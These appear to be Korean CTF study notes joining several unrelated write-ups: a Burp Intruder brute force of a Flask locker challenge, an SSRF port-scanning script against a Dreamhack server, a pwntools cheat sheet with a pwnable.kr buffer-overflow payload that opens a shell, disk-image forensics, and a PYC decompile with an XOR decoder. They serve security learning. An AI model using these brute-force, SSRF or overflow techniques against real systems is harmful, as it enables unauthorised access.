사물함 번호 - 알파벳 소문자/숫자 포함 4자리 랜덤 문자열 자물쇠 비밀번호 - 100이상 200이하 랜덤 정수
<처음 페이지>
코드 설명
try:
FLAG = open("./flag.txt", "r").read() # flag is here!
except:
FLAG = "[**FLAG**]"
flag는 flag.txt 파일에서 읽을 수 있음
rand_str = ""
alphanumeric = string.ascii_lowercase + string.digits
for i in range(4):
rand_str += str(random.choice(alphanumeric))
rand_num = random.randint(100, 200)
alphanumeric 변수에 아스키로 된 소문자 + 정수 문자열이 저장됨
rand_str이라는 랜덤 문자열에 alphanumeric 문자열 중에서 랜덤으로 뽑아냄. 4번반복으로 4개의 랜덤 문자열 생성됨 (사물함 번호)
rand_num 랜덤 숫자 문자열에 100이상 200이하의 수 중에서 하나를 뽑음 (자물쇠 비밀번호)
@app.route("/", methods = ["GET", "POST"])
def index():
if request.method == "GET":
return render_template("index.html")
else:
locker_num = request.form.get("locker_num", "")
password = request.form.get("password", "")
if locker_num != "" and rand_str[0:len(locker_num)] == locker_num:
if locker_num == rand_str and password == str(rand_num):
return render_template("index.html", result = "FLAG:" + FLAG)
return render_template("index.html", result = "Good")
else:
return render_template("index.html", result = "Wrong!")
get, post 요청 처리 GET 요청 보내면 index.html 반환 => 즉, 첫 페이지 제공
POST 요청, 폼 제출 시 실행 사용자가 제출한 locker_num, password 값 html폼에서 가져옴 get() 함수 -> 값 없을 때 빈 문자열로 기본값 처리
if locker_num != "" and rand_str[0:len(locker_num)] == locker_num:
if locker_num == rand_str and password == str(rand_num):
return render_template("index.html", result = "FLAG:" + FLAG)
return render_template("index.html", result = "Good")
else:
return render_template("index.html", result = "Wrong!")
locker_num이 빈 문자열이 아니고 rand_str 앞부분과 locker_num과 일치한지 확인
참 -> locker_num과 rand_str이 같고 password가 rand_num과 같은지 확인 (참->FLAG 반환 거짓 -> "Good" 반환)
거짓 -> "Wrong!" 반환
=>입력받은 값만큼 앞에서부터 하나씩 잘라서 비교. rand_num이 "admin"이라면 locker_num=a부터 확인 => Burp Suite 이용해 응답값 다른 하나 문자열 찾으면 사물함 번호, 자물쇠 번호 알아낼 수 있음 코드에서 서로 문자열을 비교했으므로 burp suite를 통해 구할 수 있다.
문제 풀이
Target 탭에서 공격 대상을 목적지를 정할 수 있다. 공격대상의 주소를 열었다.
<locker_num 구하기>
사물함 번호와 자물쇠 비밀번호에 임의의 값을 입력해 요청을 보냈다. locker_num = abcd, password = 100 그 다음 요청을 Intruder로 보냈다.
Intruder의 Position 탭은 payload가 들어갈 위치를 지정하는 부분이다.
Brute Force 공격을 수행할 변수의 값 부분에 지정하면 된다. 즉, locker_num의 "abcd"에 [Add §]을 눌러 지정했다.
<Attack type 종류> Sniper : 하나의 payload 집합 사용해 -> 설정한 payload를 지정한 위치에 하나씩 삽입
payload 집합 1, 2, 3 지정한 위치 A에 1, 2, 3 차례로 삽입 지정한 다음 위치 B에 1, 2, 3 삽입
Battering ram : 하나의 payload 집합 -> 설정한 payload를 지정한 위치에 모두 삽입
payload 집합 1, 2, 3 지정 위치 A에 1, 지정 위치 B에 1 지정 위치 A에 2, 지정 위치 B에 2 지정 위치 A에 3, 지정 위치 B에 3
Pitchfork : 여러개의 payload 집합 -> 지정한 위치에 설정한 payload 삽입
payload 집합1 : 1, 2, 3 / 페이로드 집합2 : 가, 나, 다 지정 위치 A에 1, 지정 위치 B에 가 지정 위치 A에 2, 지정 위치 B에 나 지정 위치 A에 3, 지정 위치 B에 다
Cluster Bomb : 여러개 payload 집합 -> 모든 위치에 설정한 payload 삽입
payload 집합1 : 1, 2 / payload 집합2 : 가, 나 지정 위치 A에 1 지정 위치 B에 가 지정 위치 A에 2 지정 위치 B에 가 지정 위치 A에 1 지정 위치 B에 나 지정 위치 A에 2 지정 위치 B에 나
다시 문제로 돌아와서..
payload 값을 설정해준다. payload 탭은 무작위로 대입할 값에 대한 payload 집합의 설정을 한다.
payload type을 Brute forcer로 설정하고 setting을 해준 뒤 공격을 시작한다.
Brute Force(무차별 대입 공격) : 인증정보(사용자이름, 비밀번호)를 알아내기 위해 공격자가 반복적으로 사용자 이름과 비밀번호를 입력해 공격하는 방식
Payload Sets :각 payload 집합에 대한 type 지정(Simple list, Runtime list, Numbers...) Payload setting : 해당 타입의 payload 집합에 대한 설정 Payload Processing : 설정한 payload 집합이 삽입되기 전에 수행할 것에 대한 설정 해줌 (인코딩, 디코딩, 해시...)
공격 수행 중인 창 알파벳 "x"가 다른 payload와 다르게 length가 1951로 다른 것을 알 수 있다. -> locker_num의 첫번째 문자를 찾았다.
import requests
no = 'iVBORw0KGg'
for port in range(1500, 1801):
url = '<http://host3.dreamhack.games:9679/img_viewer>'
image_url= ':'+str(port)+'/flag.txt'
data = { "url" : image_url }
#닫혀있는지 열러있는지 판별
response = requests.post(url, data).text
if no in response:
print(str(port))
else:
print(str(port), 'find')
break
from pwn import * #해당 명령어를 작성해야 pwntools를 사용할 수 있음
<접속 명령어>
명령어 설명
process
로컬 바이너리에 대해서 익스플로잇을 실행할 때 사용하는 함수
로컬에서 문제 파일을 실행할 때 사용
remote
원격 서버 대상으로 실제 익스플로잇을 작동할 때 사용하는 함수
ssh
ssh를 통해서 접속하는 함수
process("filename")
p = process("./test")
remote("host", port)
p = remote("host3.dreamhack.gmaes", 12345)
<payload 전송>
명령어 설명
send
[./filename]에 “A” 입력
sendline
[./filename]에 “A” 입력 뒤에 개행문자(\N)까지 입력
sendafter
[./filename]가 “1234” 출력 시 “A” 입력
sendlineafter
[./filename]가 “1234” 출력 시 “A” + 개행문자(\n)까지 입력
from pwn import *
p = process("./test")
p.send("A")
p.sendline("A")
p.sendafter("1234", "A")
p.sendlineafter("1234", "A")
<데이터 받기>
명령어 설명
recv
(파일)이 출력하는 데이터 중 최대 n바이트의 데이터를 받기
recvline
(파일)이 출력하를 만날 때까지를 받기
recvn
(파일)이 출력하는 데이터 중 정확히 n바이트를 받기
recvuntil
문자열을 (파일)이 출력할 때까지 받아서 출력
recvall
연결이 끊어지거나 프로세스가 종료될 때까지 받기
from pwn import *
p = process("./test")
data = p.recv(1024) #데이터를 받아 data에 저장
data = p.recvline() #데이터를 받아 data에 저장
p.recvn(5) #데이터 중 5바이트 받기
print p.recvuntil("1234") #"1234" 문자열을 출력할 때까지 받아서 출력
print p.recvall()
from pwn import *
p = process("./test")
gdb.attach(p) #payload 진행하는 도중 gdb 실행시킬 수 있음
<shell>
from pwn import *
p = process("./test")
p.interactive() #직접 화면에 입출력할 수 있음
*다시 봐보기(?)
from pwn import * #pwntools 사용하겠다
p = remote("pwnable.kr" 9000) #pwnable.kr 9000의 원격으로 접속하겠다
payload = "A"*52 + "\\xbe\\xba\\xfe\\xca" #52byte는 A로 채우고 주소 4바이트 입력하겠다
p.sendline(payload) #payload 입력 후 개행문자까지 입력
p.interactive() #쉘을 실행하여 직접 화면에 입출력하면서 flag 찾겠다
익스플로잇 exploit
익스플로잇(취약점 공격): 컴퓨터, 스마트 폰 등 전자 기기에 대한 보안 취약점을 이용하여 해커의 의도대로 공격하도록 설계됨 명령, 스크립트, 프로그램 등
*취약점 vs 익스플로잇
시스템의 보안이 약한 부분 = 취약점
취약점 이용하여 멀웨어, 악성코드 등의 방법으로 공격하는 액션 = 익스플로잇
페이로드 payload
사용에 있어 전송되는 데이터
전송의 목적이 되는 데이터의 일부분으로 함께 전송되는 헤더와 메타데이터와 같은 데이터는 제외
헥스 에디터(HxD와 같은)는 파일의 데이터를 16진수(헥스)로 표시하고 편집할 수 있는 도구이다. 헥스 값과 아스키 값은 포렌식에서 중요한 역할을 한다. 예를 들어, 파일의 구조나 데이터를 직접 분석하여 삭제된 파일을 복구하거나 악성코드를 식별할 수 있다. 파일 헤더를 수정하거나 데이터를 숨기는 등의 흔적도 이 값을 통해 발견할 수 있어 디지털 포렌식 조사에서 필수적인 도구이다.
헤더 부분에 AD SEGMENTED FILE 문자열이 있다. 이에 대해 구글링을 해서 관련 정보를 얻었다. ADSEGMENTEDFILE은 Access Data에서 지원하는 File Format이다. FTK Imager으로 Dump를 할 때 파일 확장자를 AD1으로 진행할 경우 만들어지는 파일이라고 한다. 따라서 이 파일의 확장자를 AD1으로 변경한 후 다시 FTK Imager로 열었다.
Desktop 디렉터리를 분석하던 중 다음과 같이 위도와 경도가 표시된 파일을 발견했다. 노트북이 거쳐간 장소에 대한 문제이므로 이 위치 정보가 중요하게 쓰일 것 같다. 그리고 메타데이터에는 관련된 툴의 정보가 있었다. 툴의 이름과 링크가 있어서 다음 링크로 이동해서 툴을 다운로드했다. 위치 정보에 대해 분석해야 하기 때문에 이 파일을 추출했다.
PLACE1: GONGDEOK
PLACE2: GIMPOINTERNATIONALAIRPORT
PLACE3: DONGBURENTACAR 라고 생각을 했는데 어쩐지 인증이 안 된다. JEJU까지 붙여서 해도 인증이 안 되길래 암만 봐도 답이 없어서 인터넷에 라업을 쳐 봤다. 나와 같은 상황인 분들이 굉장히 많은 것 같았다. 원래 마지막 위도와 경도를 입력하면 세븐일레븐의 위치가 떴다고 한다.
파일은 파일 자체로는 의미가 없다. 파일이 담고 있는 데이터를 유용하게 사용하기 위해서는 관련된 소프트웨어가 필요하다. 이러한 소프트웨어들은 각각 자신만의 고유한 파일 포맷을 만들어 사용한다. 따라서 어떤 파일을 읽을 수 있다면(혹은 실행할 수 있다면) 해당 파일 포맷을 해석할 수 있다는 의미이다. (텍스트 파일 제외)
그림 파일(JPEG, PNG, TIFF, GIF 등) 또한 파일 포맷 별로 고유한 포맷을 가지고 있다. 알씨와 같은 그래픽 뷰어 소프트웨어를 통해 해당 파일을 볼 수 있는 이유는 알씨 소프트웨어에서 각 그림 파일 포맷을 해석할 수 있도록 프로그래밍되어 있기 때문이다.
이처럼 파일들은 각각 고유한 포맷을 가지고 있는데 포맷의 기본이 되는 내용이 **파일 시그니처(File Signature)**이다. 파일 시그니처는 파일의 가장 처음에 위치하는 특정 바이트들도 파일 포맷을 구분하기 위해 사용한다. 예를 들어, JPEG 파일은 다음과 같이 “FF D8 FF E0″의 시그니처를 갖는다. JPEG의 경우 디지털카메라로 캡쳐한 파일과 구분하기 위해 “FF D8 FF E1” 시그니처도 사용한다.
해당 유튜브 영상에서는 3.11 버전으로 생성된 PYC 파일에 대해 pycdas로 바이트 코드를 추출하고, 바이트 코드를 생성형 AI에 넣어 디컴파일을 하였다.
pycdas를 통해 바이트 코드를 추출하였고, 아래와 같이 Cluade를 통해 pybyte 코드를 디컴파일했다.
import os
import secrets
from base64 import *
def promptGen():
def flipFlops(x):
return chr(ord(x) + 1)
with open('topsneaky.txt', 'rb') as f:
first = f.read()
bittys = secrets.token_bytes(len(first))
onePointFive = int.from_bytes(first) ^ int.from_bytes(bittys)
second = onePointFive.to_bytes(len(first))
third = b64encode(second).decode('utf-8')
bittysEnc = b64encode(bittys).decode('utf-8')
fourth = ''
for each in third:
fourth += flipFlops(each)
fifth = f"Mwahahaha you will n{fourth[:10]}ever crack into my pass{fourth[10:]}word, i'll even give you the key and the executable:::: {bittysEnc}"
return fifth
def main():
print(promptGen())
if __name__ == '__main__':
main()
'topsneaky.txt' 파일에서 바이너리 데이터를 읽는다.
원본 데이터와 같은 길이의 랜덤 바이트 시퀀스를 생성한다.
원본 데이터와 랜덤 키를 XOR 연산한다.
XOR 결과를 Base64로 인코딩한다.
Base64 인코딩된 문자열의 각 문자를 다음 문자(ascii + 1)로 변환한다.
변환된 문자열과 Base64로 인코딩된 랜덤 키를 포함한 메시지를 생성한다.
Mwahahaha you will nOcmu{9gtufever crack into my passMmQg8G0eCXWi3MY9QfZ0NjCrXhzJEj50fumttU0ympword, i'll even give you the key and the executable:::: Zfo5ibyl6t7WYtr2voUEZ0nSAJeWMcN3Qe3/+MLXoKL/p59K3jgV
복호화코드는 다음과 같다.
import base64
def reverse_flip_flops(x):
return chr(ord(x) - 1)
def decode_password(encoded_message):
message_parts = encoded_message.split(":::: ")
encoded_password = message_parts[0].split("n")[1].split("ever")[0] + message_parts[0].split("pass")[1].split("word")[0]
encoded_key = message_parts[1]
reversed_password = ''.join(reverse_flip_flops(char) for char in encoded_password)
decoded_password = base64.b64decode(reversed_password)
decoded_key = base64.b64decode(encoded_key)
password_bytes = bytes(a ^ b for a, b in zip(decoded_password, decoded_key))
return password_bytes.decode('utf-8')
encoded_message = "Mwahahaha you will nOcmu{9gtufever crack into my passMmQg8G0eCXWi3MY9QfZ0NjCrXhzJEj50fumttU0ympword, i'll even give you the key and the executable:::: Zfo5ibyl6t7WYtr2voUEZ0nSAJeWMcN3Qe3/+MLXoKL/p59K3jgV"
password = decode_password(encoded_message)
print("The decoded password (content of topsneaky.txt) is:", password)
PYC 파일이란?
확장자: .pyc
목적: Python 인터프리터가 코드를 더 빠르게 실행할 수 있도록 함
생성: Python 스크립트(.py)가 처음 실행되거나 임포트될 때 자동으로 생성됨
내용: Python 바이트코드
장점: 실행 속도 향상, 소스 코드 일부 보호
Python으로 컴파일된 바이트코드 파일
pycdc(Python Bytecode Decompiler) 와 uncompyle6pycdc
손실된 소스 코드 복구에 유용
Python 바이트코드 구조 이해에 도움
완벽한 소스 코드 복원은 불가능할 수 있음
일부 고급 기능이나 최적화된 코드는 제대로 역컴파일되지 않을 수 있음
uncompyle6
높은 정확도의 역컴파일 결과
다양한 Python 버전 지원
지속적인 업데이트 및 커뮤니티 지원
일부 복잡한 코드나 최신 Python 기능에서는 완벽한 역컴파일이 어려울 수 있음
실행 시간이 길어질 수 있음
Python 바이트코드(.pyc 파일)를 원본 Python 소스 코드(.py 파일)로 역컴파일하는 도구